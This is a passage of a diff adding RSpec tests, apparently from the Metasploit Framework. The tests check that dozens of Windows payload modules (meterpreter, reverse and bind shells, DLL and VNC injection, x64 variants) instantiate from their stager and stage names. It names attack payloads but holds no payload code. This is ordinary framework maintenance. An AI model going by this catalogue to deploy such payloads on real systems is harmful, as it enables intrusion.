'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/bind_nonx_tcp' + end + + context 'windows/meterpreter/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/bind_tcp' + end + + context 'windows/meterpreter/bind_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp_rc4', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/bind_tcp_rc4' + end + + context 'windows/meterpreter/find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/findtag_ord', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/find_tag' + end + + context 'windows/meterpreter/reverse_hop_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_hop_http', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_hop_http' + end + + context 'windows/meterpreter/reverse_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_http', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_http' + end + + context 'windows/meterpreter/reverse_https' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_https', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_https' + end + + context 'windows/meterpreter/reverse_https_proxy' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_https_proxy', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_https_proxy' + end + + context 'windows/meterpreter/reverse_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ipv6_tcp', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_ipv6_tcp' + end + + context 'windows/meterpreter/reverse_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_nonx_tcp', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_nonx_tcp' + end + + context 'windows/meterpreter/reverse_ord_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ord_tcp', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_ord_tcp' + end + + context 'windows/meterpreter/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_tcp' + end + + context 'windows/meterpreter/reverse_tcp_allports' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_allports', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_tcp_allports' + end + + context 'windows/meterpreter/reverse_tcp_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_dns', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_tcp_dns' + end + + context 'windows/meterpreter/reverse_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_tcp_rc4' + end + + context 'windows/meterpreter/reverse_tcp_rc4_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4_dns', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_tcp_rc4_dns' + end + + context 'windows/metsvc_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/metsvc_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/metsvc_bind_tcp' + end + + context 'windows/metsvc_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/metsvc_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/metsvc_reverse_tcp' + end + + context 'windows/patchupdllinject/bind_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_ipv6_tcp', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/bind_ipv6_tcp' + end + + context 'windows/patchupdllinject/bind_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_nonx_tcp', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/bind_nonx_tcp' + end + + context 'windows/patchupdllinject/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/bind_tcp' + end + + context 'windows/patchupdllinject/bind_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp_rc4', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/bind_tcp_rc4' + end + + context 'windows/patchupdllinject/find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/findtag_ord', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/find_tag' + end + + context 'windows/patchupdllinject/reverse_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ipv6_tcp', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/reverse_ipv6_tcp' + end + + context 'windows/patchupdllinject/reverse_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_nonx_tcp', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/reverse_nonx_tcp' + end + + context 'windows/patchupdllinject/reverse_ord_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ord_tcp', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/reverse_ord_tcp' + end + + context 'windows/patchupdllinject/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/reverse_tcp' + end + + context 'windows/patchupdllinject/reverse_tcp_allports' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_allports', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/reverse_tcp_allports' + end + + context 'windows/patchupdllinject/reverse_tcp_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_dns', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/reverse_tcp_dns' + end + + context 'windows/patchupdllinject/reverse_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/reverse_tcp_rc4' + end + + context 'windows/patchupdllinject/reverse_tcp_rc4_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4_dns', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/reverse_tcp_rc4_dns' + end + + context 'windows/patchupmeterpreter/bind_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_ipv6_tcp', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/bind_ipv6_tcp' + end + + context 'windows/patchupmeterpreter/bind_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_nonx_tcp', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/bind_nonx_tcp' + end + + context 'windows/patchupmeterpreter/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/bind_tcp' + end + + context 'windows/patchupmeterpreter/bind_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp_rc4', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/bind_tcp_rc4' + end + + context 'windows/patchupmeterpreter/find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/findtag_ord', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/find_tag' + end + + context 'windows/patchupmeterpreter/reverse_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ipv6_tcp', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/reverse_ipv6_tcp' + end + + context 'windows/patchupmeterpreter/reverse_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_nonx_tcp', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/reverse_nonx_tcp' + end + + context 'windows/patchupmeterpreter/reverse_ord_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ord_tcp', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/reverse_ord_tcp' + end + + context 'windows/patchupmeterpreter/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/reverse_tcp' + end + + context 'windows/patchupmeterpreter/reverse_tcp_allports' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_allports', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/reverse_tcp_allports' + end + + context 'windows/patchupmeterpreter/reverse_tcp_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_dns', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/reverse_tcp_dns' + end + + context 'windows/patchupmeterpreter/reverse_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/reverse_tcp_rc4' + end + + context 'windows/patchupmeterpreter/reverse_tcp_rc4_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4_dns', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/reverse_tcp_rc4_dns' + end + + context 'windows/shell/bind_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_ipv6_tcp', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/bind_ipv6_tcp' + end + + context 'windows/shell/bind_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_nonx_tcp', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/bind_nonx_tcp' + end + + context 'windows/shell/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/bind_tcp' + end + + context 'windows/shell/bind_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp_rc4', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/bind_tcp_rc4' + end + + context 'windows/shell/find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/findtag_ord', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/find_tag' + end + + context 'windows/shell/reverse_hop_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_hop_http', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/reverse_hop_http' + end + + context 'windows/shell/reverse_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_http', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/reverse_http' + end + + context 'windows/shell/reverse_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ipv6_tcp', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/reverse_ipv6_tcp' + end + + context 'windows/shell/reverse_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_nonx_tcp', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/reverse_nonx_tcp' + end + + context 'windows/shell/reverse_ord_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ord_tcp', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/reverse_ord_tcp' + end + + context 'windows/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/reverse_tcp' + end + + context 'windows/shell/reverse_tcp_allports' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_allports', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/reverse_tcp_allports' + end + + context 'windows/shell/reverse_tcp_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_dns', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/reverse_tcp_dns' + end + + context 'windows/shell/reverse_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/reverse_tcp_rc4' + end + + context 'windows/shell/reverse_tcp_rc4_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4_dns', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/reverse_tcp_rc4_dns' + end + + context 'windows/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell_bind_tcp' + end + + context 'windows/shell_bind_tcp_xpfw' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/shell_bind_tcp_xpfw' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell_bind_tcp_xpfw' + end + + context 'windows/shell_hidden_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/shell_hidden_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell_hidden_bind_tcp' + end + + context 'windows/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell_reverse_tcp' + end + + context 'windows/speak_pwned' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/speak_pwned' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/speak_pwned' + end + + context 'windows/upexec/bind_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_ipv6_tcp', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/bind_ipv6_tcp' + end + + context 'windows/upexec/bind_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_nonx_tcp', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/bind_nonx_tcp' + end + + context 'windows/upexec/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/bind_tcp' + end + + context 'windows/upexec/bind_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp_rc4', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/bind_tcp_rc4' + end + + context 'windows/upexec/find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/findtag_ord', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/find_tag' + end + + context 'windows/upexec/reverse_hop_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_hop_http', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/reverse_hop_http' + end + + context 'windows/upexec/reverse_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_http', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/reverse_http' + end + + context 'windows/upexec/reverse_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ipv6_tcp', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/reverse_ipv6_tcp' + end + + context 'windows/upexec/reverse_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_nonx_tcp', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/reverse_nonx_tcp' + end + + context 'windows/upexec/reverse_ord_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ord_tcp', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/reverse_ord_tcp' + end + + context 'windows/upexec/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/reverse_tcp' + end + + context 'windows/upexec/reverse_tcp_allports' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_allports', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/reverse_tcp_allports' + end + + context 'windows/upexec/reverse_tcp_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_dns', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/reverse_tcp_dns' + end + + context 'windows/upexec/reverse_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/reverse_tcp_rc4' + end + + context 'windows/upexec/reverse_tcp_rc4_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4_dns', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/reverse_tcp_rc4_dns' + end + + context 'windows/vncinject/bind_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_ipv6_tcp', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/bind_ipv6_tcp' + end + + context 'windows/vncinject/bind_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_nonx_tcp', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/bind_nonx_tcp' + end + + context 'windows/vncinject/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/bind_tcp' + end + + context 'windows/vncinject/bind_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp_rc4', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/bind_tcp_rc4' + end + + context 'windows/vncinject/find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/findtag_ord', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/find_tag' + end + + context 'windows/vncinject/reverse_hop_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_hop_http', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/reverse_hop_http' + end + + context 'windows/vncinject/reverse_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_http', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/reverse_http' + end + + context 'windows/vncinject/reverse_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ipv6_tcp', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/reverse_ipv6_tcp' + end + + context 'windows/vncinject/reverse_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_nonx_tcp', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/reverse_nonx_tcp' + end + + context 'windows/vncinject/reverse_ord_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ord_tcp', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/reverse_ord_tcp' + end + + context 'windows/vncinject/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/reverse_tcp' + end + + context 'windows/vncinject/reverse_tcp_allports' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_allports', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/reverse_tcp_allports' + end + + context 'windows/vncinject/reverse_tcp_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_dns', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/reverse_tcp_dns' + end + + context 'windows/vncinject/reverse_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/reverse_tcp_rc4' + end + + context 'windows/vncinject/reverse_tcp_rc4_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4_dns', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/reverse_tcp_rc4_dns' + end + + context 'windows/x64/exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/x64/exec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/exec' + end + + context 'windows/x64/loadlibrary' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/x64/loadlibrary' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/loadlibrary' + end + + context 'windows/x64/meterpreter/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/x64/bind_tcp', + 'stages/windows/x64/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/meterpreter/bind_tcp' + end + + context 'windows/x64/meterpreter/reverse_https' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/x64/reverse_https', + 'stages/windows/x64/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/meterpreter/reverse_https' + end + + context 'windows/x64/meterpreter/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/x64/reverse_tcp', + 'stages/windows/x64/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/meterpreter/reverse_tcp' + end + + context 'windows/x64/shell/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/x64/bind_tcp', + 'stages/windows/x64/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/shell/bind_tcp' + end + + context 'windows/x64/shell/reverse_https' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/x64/reverse_https', + 'stages/windows/x64/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/shell/reverse_https' + end + + context 'windows/x64/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/x64/reverse_tcp', + 'stages/windows/x64/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/shell/reverse_tcp' + end + + context 'windows/x64/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/x64/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/shell_bind_tcp' + end + + context 'windows/x64/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/x64/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/shell_reverse_tcp' + end + + context 'windows/x64/vncinject/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/x64/bind_tcp', + 'stages/windows/x64/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/vncinject/bind_tcp' + end + + context 'windows/x64/vncinject/reverse_https' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/x64/reverse_https', + 'stages/windows/x64/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/vncinject/reverse_https' + end + + context 'windows/x64/vncinject/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/x64/reverse_tcp', + 'stages/windows/x64/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/x64/vncinject/reverse_tcp' + end + + context 'windows/dllinject/bind_hidden_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_hidden_tcp', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/bind_hidden_tcp' + end + + context 'windows/meterpreter/bind_hidden_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_hidden_tcp', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/bind_hidden_tcp' + end + + context 'windows/patchupdllinject/bind_hidden_tcp' do + 